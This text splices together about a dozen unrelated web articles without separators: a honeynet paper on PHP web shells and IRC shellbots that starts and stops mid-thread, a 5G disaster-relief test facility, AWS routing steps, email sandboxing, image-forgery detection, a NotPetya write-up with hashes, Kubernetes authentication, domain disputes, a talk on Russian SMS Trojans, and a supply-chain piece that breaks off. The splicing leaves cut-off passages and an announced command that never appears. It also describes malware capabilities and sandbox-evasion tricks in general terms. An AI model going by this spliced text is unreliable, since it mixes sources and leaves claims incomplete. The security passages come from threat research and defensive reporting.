requires the allow_url_fopen configuration directive to be on.) The Philippine Honeynet Project have analysed an incident in which this script 'cmd.txt' appears: "Defacing Tool 2.0 by r3v3ng4ns" is a suite of php based scripts that allows the attacker to send commands to the server primarily with the intent to deface web sites.". In our experience the script is often used to download further malware using wget/curl, or to test for the presence of vulnerable scripts by attempting commands such as 'id' or 'uname'. It seems that the script can also be uploaded to PHP/Apache servers to provide an easily accessible set of utilities for executing commands, searching for files. This will only be an issue if the web server allows the upload of PHP scripts to the web root. The command that was parsed out is as follows: Five distinct hosts have participated in the attack up to the point that this command is executed This script is dc.txt, a simple connect-back shell written in Perl: The behavior of this script was studied on a virtual machine. The script downloaded and executed another Perl program, the IRC bot variant PERL/Shellbot. This joined a particular IRC channel and waited for commands. Figure 6. A screenshot of the c99 PHP shell The c99 PHP utility provides functionality for listing files, brute-forcing FTP passwords, updating itself, executing shell commands and PHP code. It also provides for connecting to MySQL databases, and initiating a connect-back shell session. In many ways it can be considered the web equivalent of the rootkits that successful attackers often download. In other ways it is the malware equivalent of PHPShell itself. c99 is often one of the utility programs that is either downloaded if a web server is vulnerable due to being misconfigured, or can be used in a remote file include attack to try and execute shell commands on a vulnerable server. Figure 6 provides a screenshot of the c99 PHP shell running on a web server. There are similar programs such the r57 shell which have equivalent functionality allowing the attacker to view files and directories, execute shell commands and some also have database integration. This allows an attacker to connect to MySQL, postgresql or other databases if they can guess a username and password which has access. Other 'helper' programs are very simple and only provide functionality to execute shell commands. The following code is part of a shellbot which was captured by a honeypot. It is credited initially to atrix with spreading code by sirhot. When a command is issued to this bot via an IRC channel, it will reply 'Scanning for unpatched mambo ...'. It then performs a Google search, restricted to a random top-level domain, for the phrase "option=com_content" either in the body of the page or in the URL itself. Each host that is successfully exploited is reported via the IRC channel. Jamie Riden studied maths and computer science at Oxford, worked in software development for a few years and then took a masters degree in artificial intelligence at Edinburgh. Since then he has worked in IT security for Massey University, New Zealand where he was involved in incident response, forensics and intrusion detection. During this time he developed an interest in using honeypots to discover more about attackers and methods used to compromise machines, particularly Linux servers. He obtained a CISSP in September 2006 and is a member of the New Zealand Honeynet Project. [update: Jamie is now living in the UK and is a member of the United Kingdom Honeynet Project.] Ryan McGeehan is a member of the Chicago Honeynet Project, and the creator of the Google Hack Honeypot software. His research is focused mainly around web based and client side honeynetting with DePaul University. He is currently an information security engineer at Facebook, Inc. Brian Engert is also a member of the Chicago Honeynet Project, and the lead developer of the Google Hack Honeypot software. He is studying Computer Science at DePaul University. Michael Mueter is a graduate student in computer science at University of Technology, Aachen, Germany and part of the German Honeynet Project. While gaining international experience at the University of Kent, United Kingdom, and Clarkson University, NY, USA he developed an in-depth background in theoretical and practical IT security, especially focusing on honeynet technology. He has been involved in several security-related software projects in recent years and is currently developing a new high-interaction approach for web-based honeypots within the scope of his masters thesis.
Public Protection and Disaster Relief facility for Outdoor and iNdoor 5G Experiments (PPDR ONE) is an extension of the 5GINFIRE ecosystem with a 5G enabled telco-grade development, testing and verification facility for experimentation with 5G network architectures and services for Public Protection and Disaster Relief (PPDR). With PPDR ONE, 5GINFIRE covers the public safety sector and incorporate capabilities to conduct laboratory and field 5G experiments designed for the needs of emergency response, disaster relief, and critical infrastructure protection. Located at INTERNET INSTITUTE premises in Ljubljana, Slovenia, the facility incorporates indoor and outdoor experimentation sites as well as a compact portable node for field experiments, ready to be shipped to any location in the EU. PPDR ONE represents an all-in-one experimentation facility that delivers all components of a virtualised 5G-enabled PPDR environment – SDR-based radio and core mobile system with flexible configuration options powered by NFV, cloud backend infrastructure, a set of reference PPDR services and apps, a PPDR IoT kit, industrial and ruggedized end user devices as well as a test and validation toolkit. PPDR ONE delivers a dedicated 5G enabled telco-grade development, testing and verification facility for experimentation with PPDR-specific 5G network architectures and services. The PPDR ONE facility is aligned with the 5GINFIRE reference model architecture and integrated into the experimentation ecosystem with the support for 5GINFIRE experimentation workflow. The PPDR ONE facility act as a VIM and NFVI provider, connected through a secure VPN connection with the 5TONIC core site. MANO is connected to PPDR ONE VIM via the OpenStack APIs. The EPC/eNB provisioning is realized through predefined mobile profiles (e.g. different frequency band, bandwidth, QoS profiles etc.). Subject to feasibility, selection of mobile profiles will be integrated into the 5GINFIRE portal to enable remote on-demand 5G slice provisioning for the experiments. Compute monitoring (e.g. CPU/RAM) and network monitoring (e.g. RTT, DL/UL speed) is offered as a cloud-based service in Grafana/Kibana. The PPDR ONE facility offers: - indoor experimentation site (Figure 5), covering laboratory-based testing in all operational frequencies from 70 MHz up to 6 GHz, - outdoor experimentation site (Figure 1, Figure 5), supporting field operation in the 5G pioneering bands (3.4 GHz, 5G band n78, channel BW 100 MHz) and 4G band (3.4 GHz, B42, channel BW 100 MHz), and - PPDR ONE node, a portable compact mobile system (Figure 6) ready to be shipped and deployed on the experimenter’s test site anywhere in the EU, covering indoor scenarios (bands from 70 MHz and up to 6.0 GHz) and field operation (based on the available frequencies at the experimenter’s location). The PPDR ONE facility consists of: - an SDR-based mobile system (Rel.14) providing 5G-enabled PPDR infrastructure (Figure 5, Figure 6), - an OpenStack-based backend infrastructure incorporating NFV-ready orchestration to manage experimental instances using IaaS model (Figure 5, Figure 6), - commercial and ruggedized user terminals and IoT devices to conduct the experiments (Figure 3), - iMON Intervention Monitoring System (www.imon.si) designed for a public safety use, providing a set of PPDR ONE services and apps available for demonstration and evaluation purposes (Figure 4), and - qMON Quality Monitoring System (www.qmon.eu), a telco-grade toolset for continuous network and service testing, verification and benchmarking (Figure 2). 700 Mhz band is one of the 5G pioneering bands and is also targeted band to be used for the future PPDR system deployments in EU. https://ec.europa.eu/digital-single-market/en/public-protection-and-disaster-relief In the following is a non-exhaustive list of possible experiments supported with the PPDR ONE facility in two categories. PPDR network provider related experiments – experimentation relevant to the PPDR network and infrastructure operators, PPDR organizations, system integrators, equipment and network services developers. Some examples of experimentation areas are: - novel PPDR architectures and feasibility testing with aspects related to radio, mobile network and cloud infrastructure elements and components, - dedicated PPDR base station deployments with flexible bands and channel configurations, - radio experiments from functional and performance aspects (Carrier aggregation, NB-IOT), - QoS enforcement mechanisms (QCI, ARP, GBR, MBR, AMBR, default/dedicated bearer) and performance verification in the context of PPDR services requirements, - security architectures and deployment models with multi-level authentication (USIM, APN user based) and end-to-end encryption capabilities, - PPDR network resilience and high availability architecture verification, - deployment of PPDR IaaS environment in centralized and distributed model supporting 3GPP Isolated Operation for Public Safety (IOPS) and portable system modes, - end-to-end performance testing of network architecture, IaaS nodes and network services. PPDR end user and service provider related experiments – experimentation relevant to the PPDR service developers, IaaS orchestrators, PPDR organizations and end-users, cloud based and mobile based application developers. Some examples of experimentation areas are: - deployment and testing of novel mission critical video and data services, - deployment and testing PPDR mobile applications in real-world settings, - verification of deployment models and architectural aspects of new PPDR services in IaaS, - performance verification of deployed services (cloud and end-to-end perspectives), - verification of new operational procedures enabled with a new generation of 5G technologies, in cooperation with PPDR end users. When the PDPR One equipment resources will be successfully reserved, the experimenters will also be able to access them physically at INTERNET INSTITUTE premises in Ljubljana on reserved dates, or INTERNET INSTITUTE team could arrange personnel who will use the equipment on behalf of experimenters.
VPC Route Propagation In order for your AWS VPC(s) to communicate with other connections to your Pureport network, you need to ensure that route propagation is enabled on each VPC that connects either directly to Pureport or is connected via Direct Connect Gateway. This setting controls whether or not the VPC's routing table sends and receives routes via BGP. Depending on whether you are using the Virtual Private Gateway or connecting directly to a VGW attached to a single VPC, you may need to complete this step on more than one VPC. In the AWS Console, open the VPC dashboard, click on Route Tables and select the route table which corresponds to your VPC, then click on Route Propagation to determine whether propagation is enabled: If propagation is set to No, click the Edit route propagation button to change the setting:
Cyber intelligence is a vital asset for cyber security and operation centers in order to improve their skills in specific areas such as threat analysis and detection, prioritization and emergency response. Every day, hundreds of companies and institutions are being visited by cyber-attacks. However, when a general analysis is made, most of the companies who are under attack cannot detect these attacks and generate alarms. Even if they can detect the attack, they cannot make the necessary investigation and take an action. TISP traps hackers and generates early alarms for lots of attacks that can affect its customers through its honeypot network that expand every day. Brandwatch is a product that provides early action by alerting the corporations and institutions to situations that may damage the brand value. Fraudprotect is a cyber crime and fraud monitoring product and it’s allows customers to take early actions. The inventories that you define on the system are continuously tested with automated vulnerability scanning and analysis tools.
Email sandboxing is important for security, as it will block threats that traditional email filters fail to detect. While sandboxing is now considered to be an essential element of email security, one disadvantage is that it will delay the delivery of emails. In this post, we will explain why that is and how email delivery delays can be minimized or avoided altogether. What Does Queued for Sandbox Mean? If you use SpamTitan or another email security solution with email sandboxing, you may see the message “email queued for sandbox” from time to time. The queued for sandbox meaning is the message has been determined to warrant further inspection and it has been sent to the sandbox for deeper analysis. This is most likely because the email includes an attachment that is determined to be risky, even though it has passed the initial antivirus scans. While email sandboxing is important for security, there is a downside, and that is processing messages in a sandbox and conducting behavioral inspection takes a little time. That means there will be a delay in delivering messages that have been sandboxed while behavioral checks are performed. Messages will only be delivered once all sandbox checks have been passed. If a large volume of suspicious emails are received at the same time, messages will be queued for analysis, hence the queued for sandbox message being displayed. Sandbox Delays for Inbound Emails The processing of messages in a sandbox can take a little time. Cyber threat actors do not want their malware and malicious code analyzed in a sandbox, as it will allow their malware to be identified. Further, once a malware sample has been identified, details will be shared with all other users of that security solution, which means no user will have that malicious file delivered to their inbox. SpamTitan’s email sandbox is powered by Bitdefender, so all members of the Bitdefender network who subscribe to its feeds will also be protected. Many malware samples now have anti-sandbox technologies to prevent this. When the malware is dropped on a device it will analyze the environment it is in before launching any malicious actions. If it senses it is in a sandbox it will terminate and may attempt to self-delete to prevent analysis. One technique often seen is delaying any malicious processes for a set time after the payload is delivered. Many sandboxes will only analyze files for a short period, and the delay may be sufficient to trick the sandbox into releasing the file. It is therefore necessary to give the sandbox sufficient time for a full analysis. Are Your Sandbox Delays Too Long? Conducting analyses of emails in a sandbox is resource-intensive and can take several minutes and there may be delays to email delivery that are too long for some businesses. There are ways to avoid this, which we will discuss next, but it may be due to the email security solution you are using. The SpamTitan email sandbox is part of Bitdefender’s Global Protective Network, which was chosen not only for cutting-edge threat detection but also the speed of analysis. If you are experiencing long delays receiving emails, you should take advantage of the free trial of SpamTitan to see the difference the solution makes to the speed of email delivery for emails that require sandbox analysis. How the SpamTitan Sandbox for Email Minimizes Delays SpamTitan does not send all messages to the sandbox to avoid unnecessary email delays. If a message is suspicious and the decision is taken to send it to the sandbox for analysis, SpamTitan will check to see if the analysis has been completed every 15 seconds to ensure it is released in the shortest possible time frame. Employees will be aware that they have received a message that has been sent to the sandbox as the message delivery status is displayed in their history. Provided all sandbox checks are passed, the email will be delivered. This process will take no longer than 20 minutes. If a file is determined to be legitimate, details are retained by SpamTitan so if the attachment or message is encountered again, it will not be subjected to further analysis in the sandbox. How to Avoid Sandbox Delays to Message Delivery There are ways to avoid messages being placed in the queue for sandbox inspection. While it is not always advisable for security reasons, it is possible to whitelist specific email addresses and domains. This will ensure that emails from important clients that need a rapid response will be delivered without delay and will not be sent to the sandbox. The problem with this approach is that if a whitelisted email address or a domain is compromised and used to send malicious messages, they will be delivered. What Happens if a Message is Misclassified as Malicious? False positives do occur with spam and phishing emails as email filtering is not an exact science. While this is rare with SpamTitan, any misclassified emails will not be deleted as they will be sent to a quarantine folder. That folder can be configured to be accessible only by an administrator. The administrator can then check the validity of the quarantined messages and release any false positives. Since SpamTitan has artificial intelligence and machine learning capabilities, it will learn from any false positives, thus reducing the false positive rate in the future. Talk with TitanHQ About Improving Email Security If you are not currently using an email security solution with sandboxing or if your current email security solution is not AI-driven, contact TitanHQ to find out more about how SpamTitan can improve protection against sophisticated email threats. SpamTitan is available on a free trial to allow you to put the product to the test before deciding on a purchase, and product demonstrations can be arranged on request. If you proceed with a purchase, you will also benefit from TitanHQ’s industry-leading customer service. If you ever have a problem or a query, help is rapidly at hand.
by Michelle Zimmerman ’21 As image forgery technology becomes more and more pervasive, it is also increasingly crucial to be able to differentiate between real and fake images. Legal, political, and privacy reasons have driven the field of media forensics research to develop photo authentication methods. This summary paper will outline the most recent progress in the field, specifically the most popular algorithms that have been used to devise methods of image manipulation detection. Although progress in deep learning is advancing faster than ever, there are significant steps that have been made in image forgery independent of deep learning. Non-deep learning algorithms are widely used to split an image and extract its feature vectors or sort those vectors, and continue to produce some of the most cutting-edge techniques today. Two main methods of comparison when searching for image forgery are block- and point-based methods. Both are used to help identify copy-move as well as splicing attacks by searching the image and comparing it against itself. The key to block-based methods is that the suspicious photo is split up into identical or irregular blocks which are then analyzed. By contrast, point-based methods extract key points of objects and their feature vectors, and this information is used to find tampering in the image. There are also hybrid methods which combine block and point-based algorithms, which conclusively achieves the same thing. Furthermore, Support Vector Machines (SVMs) are supervised learning classifiers, often used along with the previously mentioned comparison methods or other algorithms to sort data and identify if and where an image has been tampered with. Another important algorithm is Discrete Cosine Transform (DCT), which is a mechanism for organizing and extracting data. DCT breaks the image down into spectral sub-bands of different frequencies, containing different information. Researchers can then take advantage of this arrangement to find the data they need for their proposed method of image forgery detection. Sometimes, this method is also combined with some of the previously mentioned algorithms, such as SVMs. Convolutional Neural Networks (CNNs) and deep learning algorithms in general are also very popular among image forgery detection research. This may be because using them can help easily create more comprehensive detection methods, opposed to past studies which can only distinguish specific types of manipulation, copy-move, splicing, etc. In conclusion, although the technology for detecting fake images has come very far in recent years, so have algorithms that create these manipulated photos. In order to stay a step ahead, it’s crucial for research to continue into not only the mentioned methods but also other, currently more experimental ones. However, for those who do not work in the field, it is important to stay vigilant online when viewing and sharing images, gifs. or videos. The way this fake information spreads is through people, so if everyone makes an effort to be conscious about what they interact with, it can also make a large difference. Tian-Tsong Ng and Shih-Fu Chang, “A Model for Image Splicing”, IEEE International Conference on Image Processing (ICIP), Singapore, October 2004. Duc-Tien Dang-Nguyen, Cecilia Pasquini, Valentina Conotter, and Giulia Boato, “RAISE: a raw images dataset for digital image forensics” in MMSys ’15 Proceedings of the 6th ACM Multimedia Systems Conference, Pages 219-224, 2015. E. Ardizzone, A. Bruno, and G. Mazzola, “Copy-Move Forgery Detection by Matching Triangles of Keypoints”, IEEE Transaction on Information Forensics and Security, vol. 10, no. 10, 2015. I. Amerini, L. Ballan, R. Caldelli, A. Del Bimbo, and G. Serra, “A SIFT-based forensic method for copy-move attack detection and transformation recovery”, IEEE Transactions on Information Forensics and Security, vol. 6, no. 3, pp. 1099-1110, 2011. V. Christlein, C. Riess, J. Jordan, C. Riess, and E. Angelopoulou: “An Evaluation of Popular Copy-Move Forgery Detection Approaches”, IEEE Transactions on Information Forensics and Security, vol. 7, no. 6, pp. 1841-1854, 2012. D. Tralic, I. Zupancic, S. Grgic, and M. Grgic, “CoMoFoD – New Database for Copy-Move Forgery Detection,” in Proceedings of 55th International Symposium ELMAR, pp. 49–54, 2013.
NotPetya, or Netya, appeared to be Petya ransomware when the first attack was reported on June 27. Throughout the next few hours, it became clear to the security industry that malware was not the version of Petya that had been observed in 2016. This new attack was termed Petya.A, and is referred to here as NotPetya. NotPetya was spread through malicious email attachments and compromised MEDocs software. In this blog post we will take you through our investigation into the email threat. First Indications of Attack: The first sample of NotPetya ransomware was identified by our systems on June 26, 2017, at 4:30pm PST. We detected and blocked over 3000 copies of this malicious email from multiple source IP addresses, and the impact was seen in over 400 Email Security Gateway customers. Barracuda Real Time System (BRTS) is constantly engaged with tens of thousands of customer environments and it’s able to respond to malicious email attacks in seconds. This is another example of its effectiveness by capturing the sample from the NotPetya attack. Customers who are using Barracuda Email Security Gateway or Email Security Service are always protected with BRTS. See BRTS and email sample below: While BRTS was stopping the spread of this email attack in the early hours, Barracuda ATP layers were actively analyzing from samples. This diagram illustrates the layered threat protection from Barracuda ATP: Screenshot of the ATP analysis report for the RTF file; Screenshot of our analysis of what the RTF tries to do with downloading of a file with Content-Type: application/hta; There are several Indicators of Compromise (IoC) that identified this attack. We observed the following artifacts in this attack: • File Name Order-20062017.doc (RTF with CVE-2017-0199), hash Identifier 415FE69BF32634CA98FA07633F4118E1 • File with SHA256 hash: 027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745 • File with SHA256 hash: 17dacedb6f0379a65160d73c0ae3aa1f03465ae75cb6ae754c7dcb3017af1fbd Barracuda Researchers used multiple references during analysis. These two are the most prominent in our investigation: • A sample file from a third party, which demonstrated the same IoC that we observed in our own sample. • Intelligence from the Computer Emergency Response Team of the Ukraine, located here – http://cert.gov.ua/?p=2641. Google translation to English here – https://translate.google.com/translate?sl=auto&tl=en&js=y&prev=_t&hl=en&ie=UTF-8&u=http%3A%2F%2Fcert.gov.ua%2F%3Fp%3D2641&edit-text=&act=url • RTF Hashes: • Sample file 1: 027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745 • Sample file 2: 17dacedb6f0379a65160d73c0ae3aa1f03465ae75cb6ae754c7dcb3017af1fbd Petya.A has an email threat vector, which we observed in our protection systems beginning on June 26. By the time the first attack was reported, we were using our Barracuda Real Time Security and Advanced Threat Protection systems to block the attack from reaching our customers. Additionally, the ATP layers were collecting more intelligence on the samples collected from the attack. Barracuda Research also matched samples, hashes, and Indicators of Compromise to multiple external references that identified this as Petya.A email vector threat. Barracuda uses multiple layers of technology and artificial intelligence to provide our security researchers with the best possible samples and data for analysis. This intelligence and analysis is fed back into our system to protect our customers all over the world. Fleming Shi is the Senior Vice President of Technology at Barracuda, where he leads the company’s cloud-enabled microservices technology innovation and integrations across the entire security and data protection portfolio. Connect with him on LinkedIn here. Fleming Shi est directeur technologique chez Barracuda et, à ce titre, dirige les équipes d'ingénieurs spécialisés dans la recherche et l'innovation pour permettre l'émergence des plateformes technologiques de demain. Il a déposé plus de 20 brevets et demandes de brevets dans le domaine de la sécurité des réseaux et des contenus. Connectez-vous avec lui sur LinkedIn.
Table of Contents: Since its inception in 2014, Kubernetes has been one of the most popular container orchestration systems. A survey by CNCF found over 3.9 million Kubernetes developers globally and a whooping 76,000+ companies using this technology. But with mass adoption and usage comes the concern of security breaches and data threats. According to Red Hat's Kubernetes adoption, security, and market trends report 2021, 55% of DevOps, engineering, and security professionals have delayed deploying apps due to container or Kubernetes security issues. Kubernetes container orchestration system enables users to automate containerized applications' deployment, scaling, and management. As Kubernetes environments become increasingly complex and distributed, securing the platform and its applications is essential. Authentication is critical to Kubernetes security, and several authentication methods are available to Kubernetes users. This article will explore the most common and effective methods you can rely on as a Kubernetes user. We have narrowed down the list to six methods that we believe are the best. Kubernetes clusters have two types of users: Normal users are managed in the following ways by a cluster-independent service: Normal users cannot be added through API, but any user who presents a valid certificate signed by the cluster's certificate authority (CA) is considered authorized. Service accounts are users handled by the Kubernetes API. They are associated with specific namespaces and can be established automatically by the API server or manually via API calls. To authenticate API requests, Kubernetes uses client certificates, bearer tokens, or an authenticating proxy via authentication plugins. Let us dive into the 6 most secure methods to authenticate users on Kubernetes. Certificates are the default authentication method in Kubernetes, and they are used by all resources and users to communicate with the Kubernetes cluster. A certificate is a digital document that identifies a user, client, or server and is used to verify their identity. In Kubernetes, certificates are signed by a certificate authority (CA) and used in a mutual authentication process where the server and the client verify each other's identities. Certificates are an effective authentication method in Kubernetes since they offer robust security and can be used for users and machines. Static token files provide an alternative authentication method in Kubernetes. In this method, users are authenticated by providing a token that the Kubernetes API server reads. Static token files are a simple way to authenticate users in Kubernetes; they are not recommended since they are static and can be compromised. If a token is compromised, the Kubernetes server must be restarted to remove it. It's worth noting that static token files can be useful in certain scenarios, such as when deploying Kubernetes in a small, secure environment where authentication needs are simple. However, in most cases, it's recommended to use more secure authentication methods, such as OIDC tokens or webhook token authentication. Additionally, static token files can be difficult to manage as the number of users and tokens grows, making it harder to track who has access to the Kubernetes cluster. Bootstrap tokens are a special type of token used during the initial setup of a node in a Kubernetes cluster. They are exchanged for a certificate from the API server to complete the authentication process. This process is typically performed automatically during the installation of Kubernetes, and users do not need to manage bootstrap tokens manually. Bootstrap tokens are primarily used for nodes and kubelets, which are responsible for running and managing containers on the cluster. They are not typically used for user authentication, as more secure and flexible methods like certificates or OpenID Connect tokens are available. Bootstrap tokens ensure that only trusted nodes and kubelets are added to the cluster during the initial setup process. They are temporary and are intended to be used only once during the bootstrap process. After the bootstrap process, the node or kubelet will use its certificate for authentication. It is important to note that bootstrap tokens should not be used for ongoing authentication or authorization in the cluster, as they are not designed for this purpose and are less secure than other methods. Static password files are a fundamental way to authenticate users in Kubernetes. They are not a good option for securing your Kubernetes environment since they are not dynamic. Once a password is injected, it cannot be changed without restarting the Kubernetes server. Moreover, they do not provide any way to manage access to the Kubernetes cluster, which is critical for secure operations. The main issue with static password files is that they are easily compromised. If an attacker gains access to the file, they can easily extract the passwords and use them to gain unauthorized access to your Kubernetes environment. For this reason, it is recommended that static password files not be used as an authentication method in Kubernetes. Many other more secure options, such as certificates and OpenID Connect tokens, provide better security and are easier to manage. OIDC tokens are a popular authentication method in Kubernetes, especially in larger clusters. OIDC tokens enable users to receive their identity encoded in a secure JSON Web Token (JWT) from an identity provider (IDP). OIDC tokens are an effective authentication method in Kubernetes since they enable single sign-on (SSO) and can manage user authentication across multiple systems. OIDC tokens provide fine-grained access control and auditing capabilities, allowing administrators to define which users can access specific resources within the Kubernetes cluster. OIDC tokens can also be configured to expire after a certain period, which increases the system's security by preventing the use of stolen or compromised tokens. Another advantage of OIDC tokens is that they can be integrated with other identity management systems, such as Active Directory or LDAP, making it easier to manage user identities across the organization. Webhook token authentication is a flexible authentication method that enables users to implement custom authentication logic. In this method, a webhook is set up inside the Kubernetes cluster to authenticate users, and custom authentication logic is implemented using the webhook. This method is often used in conjunction with other authentication methods in Kubernetes. Webhook token authentication can implement various forms of authentication, including two-factor and multi-factor authentication. This makes it a popular authentication method in Kubernetes for organizations requiring high-security levels. The flexibility of webhook token authentication also enables users to integrate with existing identity and access management (IAM) systems and extend them to Kubernetes. Kubernetes offers several authentication methods to secure the Kubernetes platform and its applications. While some authentication methods are more secure than others, choosing the right one is essential based on your Kubernetes environment's specific needs. Kubernetes Authentication and Authorization is a critical topic for anyone running Kubernetes environments, and it's essential to learn how to secure your Kubernetes environment using the right authentication methods. If you are looking for a Kubernetes security solutions provider, contact us at We45. Our team thoroughly investigates your Kubernetes cluster deployment to identify potential flaws and provide a detailed and optionality-focused set of recommendations that will help secure your K8 cluster. Contact us to know more!
This chapter presents an overview of the performance of Uniform Domain Name Dispute Resolution Policy (UDRP) providers. The management of names and addresses on the main root server is in hands of the Internet Corporation for Assigned Names and Numbers (ICANN). ICANN designed a series of general rules to regulate dispute resolution procedures, leaving the private providers to add their own complementary rules to the system. It authorized a number of private third party institutions to evaluate disputes among Internet users regarding rights over domain names. New domain names assigned on the Internet is protected by trademark and property rights laws in different countries. ICANN authorized two providers, the World Intellectual Property Organization (WIPO) and the National Arbitration Forum (NAF). WIPO is the organization that has the most diverse group of panelists from both developed and less developed countries. Consumers and users can exert influence over ICANN's decisions when compared to the totally private system that regulates privacy in e-commerce.
Last Updated: 2014-07-01 12:02:46 UTC by Johannes Ullrich (Version: 1) Microsoft obtained a court order allowing it to take over various domains owned by free dynamic DNS provider "No-IP" . According to a statement from Microsoft, this was done to disrupt several botnets . However, No-IP is crying foul, stating that Microsoft never contacted them to have the malicious domains blocked. Further, Microsoft is apparently not able to properly filter and support all queries for these seized domains, causing widespread disruption among legit no-ip customers. According to the court order, Microsoft is able to take over DNS for the affected domains, but because the legit domains far outnumber the malicious domains, Microsoft is only allowed to block requests for malicious domains. Microsoft apparently overestimated the abilities of it's Azure cloud service to deal with these requests. In the past, various networks blocked dynamic IP providers, and dynamic IP services have been abused by criminals for about as long as they exist. However, No-IP had an abuse handling system in place and took down malicious domains in the past. The real question is if No-IP's abuse handling worked "as advertised" or if No-IP ignored take down requests. I have yet to find the details to that in the law suit (it is pretty long...) and I am not sure what measure Microsoft used to proof that No-IP was negligent. For example, a similar justification may be used to filter services like Amazon's (or Microsoft's?) cloud services which are often used to serve malware . It should make users relying on these services think twice about the business continuity implications of legal actions against other customers of the same cloud service. There is also no clear established SLA for abuse handling, or what level of criminal activity constitutes abuse.
Kaspersky Lab’s Senior Malware Analyst Denis Maslennikov speaks at RSA Conference about the mobile side of the Russian cybercrime. Maslennikov outlines the prevalent techniques applied for scamming users, describing modifications of SMS Trojans and explaining how they work. Hello, my name is Denis Maslennikov, I work for Kaspersky Lab as the Senior Malware Analyst, and today we are going to talk about Russian cybercrime and Russian mobile cybercriminals. This research demonstrates one really interesting point: Russian mobile cybercriminals are probably the luckiest ones in the world. Why? Well, most people today are not aware of mobile malware, and legislation loopholes really help bad guys take advantage of the laws and profit from illegal activities. This presentation will cover all aspects of mobile malware evolution and mobile malware industry in Russia. Also, we will estimate the losses caused by mobile malware and try to look into the future with and without various changes.But first of all, let’s start with the evolution of the SMS Trojans and mobile malware industry. The following diagram (see image) represents the ratio between the total number of mobile malware modifications found by Kaspersky Lab and Trojan-SMS modifications. What is a Trojan-SMS program? It’s a malicious application which was created for sending SMS messages to premium-rate numbers. For example, if the Trojan sends one SMS it can cost you 5 or 10 USD. And you can see that this behavior of SMS Trojans has been dominating since January 2008 till the current moment. Cybercriminals understood that the SMS Trojans are the easiest and the most profitable source of income due to direct access to the phone bill and unawareness of people. The evolution of SMS Trojans can be divided into three big parts. The first year of Trojan-SMS evolution was characterized by primitive Java 2 Micro Edition (J2ME)1 SMS Trojans. These are primitive applications without any kind of complication or social engineering tricks, or something else. The second period was characterized not only by J2ME Trojans, they became more advanced, so they started to use some social engineering tricks, some kind of encryption in some cases. And also, we started to discover Symbian and Windows Mobile malicious applications. And the last one, the third period which still continues can also be characterized by, again, advanced Java 2 Micro Edition Trojans and complex Symbian and Windows Mobile Trojans. I will describe all these three steps now.Let’s start with the primitive. Malware family named ‘Konov’ was one of the first widespread SMS Trojans. It can be characterized by very small size from 1 to 8 Kb. There was no encryption, no social engineering tricks. And all the information which is required for SMS sending was stored in the manifest file. So you can see there are 5 premium-rate numbers and there are 5 SMS texts. This Trojan was mostly spread in the Russian social network named ‘Vkontakte’ (in contact). Sometimes, people receive different spam messages in social networks, and in this case there were spam messages which asked the users to click the link and go to a website telling them that if they clicked another link and downloaded special software for mobile phone, they would be granted 500 Rubles (15 USD) bonus. But in fact, this message won’t give you any kind of bonus but will only send expensive SMS messages.This Trojan was really primitive. And the next one named ‘VScreener’ demonstrates how cybercriminals started to create more sophisticated malicious applications. This malware poses itself as a faulty video player. And this player must be ‘tuned’ by the user. The tuning can be done by pressing the left soft key. There is one aspect in J2ME SMS Trojans – the majority of modern simple mobile phones do support J2ME technology, but this technology is a bit restricted. So for example, if the application is trying to connect to a URL or send an SMS message, or dial a number – the Java machine will notify the user by showing a message on the screen that for example: “This application wants to send an SMS message, would you allow it or not?” The user must then press ‘Yes’ or ‘No’. This malicious application sends these expensive SMS messages during the ‘tuning’. So imagine the situation when the user is pressing the left soft key, he starts to see some kind of picture of a very cute lady, and at the same time this Trojan will try to send SMS messages, which the user will confirm by left soft key quick pressing. And besides, this premium rate number and the SMS text are stored in load.bin file and were encrypted with ADD and ‘0xA’ key.So, we talked about J2ME Trojans, now let’s move on to smartphone malicious applications. I think some of you may remember the story of Symbian signed malware, the first example of which was a worm named ‘Yxe’. It became the first application of this kind which was signed by a valid certificate, and the Lopsoy Trojan was also signed by a valid certificate. During the research, I found the website of the probable author, and his article which fully describes the logic of how this Trojan works. You know, a few days after adding the detection of this Trojan, I found the Twitter account of this probable Trojan author, where he wrote: “Because of this article they’re saying I’m a virus writer. Even though anyone could see that my goal was only to warn people.” But I don’t think that it is a good idea to warn people by creating malicious applications. Lopsoy became the first SMS Trojan which connects to the author’s URL in order to download the information. In this case, this Trojan was trying to download an SMS text and premium-rate number from the website. So for example, if cell mobile operators noticed that this SMS text and this premium rate number were used illegally – they could block it, but in this case the author can rent another premium-rate number and another SMS text, update the information on the website and the Trojan will continue its work. Another example of how this Trojan was spreading – we found a lot of smartphone games websites which were able to define the User Agent of the browser the user was surfing from. And for example, if the user was surfing the Internet with his mobile phone, they would display on the screen of the mobile phone the optimized page of the website.Another example of a Windows Mobile Trojan was also able to connect to the URL and download information for SMS sending. But in our case it was trying to download an XML2 file, and some parts of this XML file were encrypted. You can see some strange letters between the tags ‘phone’ and ‘interval’. Well, inside the body of the Trojan we found the following table (see image), and this table was used by the Trojan in order to decrypt and retrieve the information about the premium-rate number and the interval between each message. This Trojan was also spread through different fake websites, but in this case these were PDA application websites. So for instance, the user was searching for some kind of free software for his Windows Mobile smartphone, and somehow he visited the following website. In this case, he will download a KB archive with the application inside, maybe legal, but at the same time there will be an executable file with the Trojan body in the KB archive. 1 – Java 2 Micro Edition (J2ME) is a consumer wireless device platform allowing developers to use Java and the J2ME wireless toolkit to create applications and programs for wireless and mobile devices. 2 – XML (Extensible Markup Language) is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable.
Software suppliers beware – chances are, online criminals quite literally know your secrets. That’s the outlook for 2024, courtesy of ReversingLabs, which warns that thousands of digital authentication credentials, aka ‘secrets’ have already been exposed. The cybersecurity analyst conducted a scan of frequently used online software platforms NuGet, PyPI, npm, and RubyGems, leading it to conclude that login credentials, API tokens, and encryption keys were a “major target” for cybercriminals last year. That period saw a staggering 40,000 secrets detected across the four platforms, with the bulk, more than three-quarters, detected on npm. Of those, more than half were used to illegally access Google services, with roughly one in ten being deployed in a similar way against Amazon’s cloud service AWS. What’s more, lower-skilled cybercriminals, known somewhat derisively in the industry as “script kiddies,” are increasingly targeting third-party software suppliers, as the barrier for entry to such a life of crime reduces thanks to the wider availability of ‘off-the-shelf’ high-tech equipment. “No longer just the domain of nation-state actors, software supply chain attacks are increasingly being perpetrated by low-skilled cybercriminals,” said ReversingLabs, pointing to the increased uptake of open-source automated phishing packages to be used as tools in such campaigns. “Threat actors have recognized how to abuse weak links in the software supply chain to support both targeted and 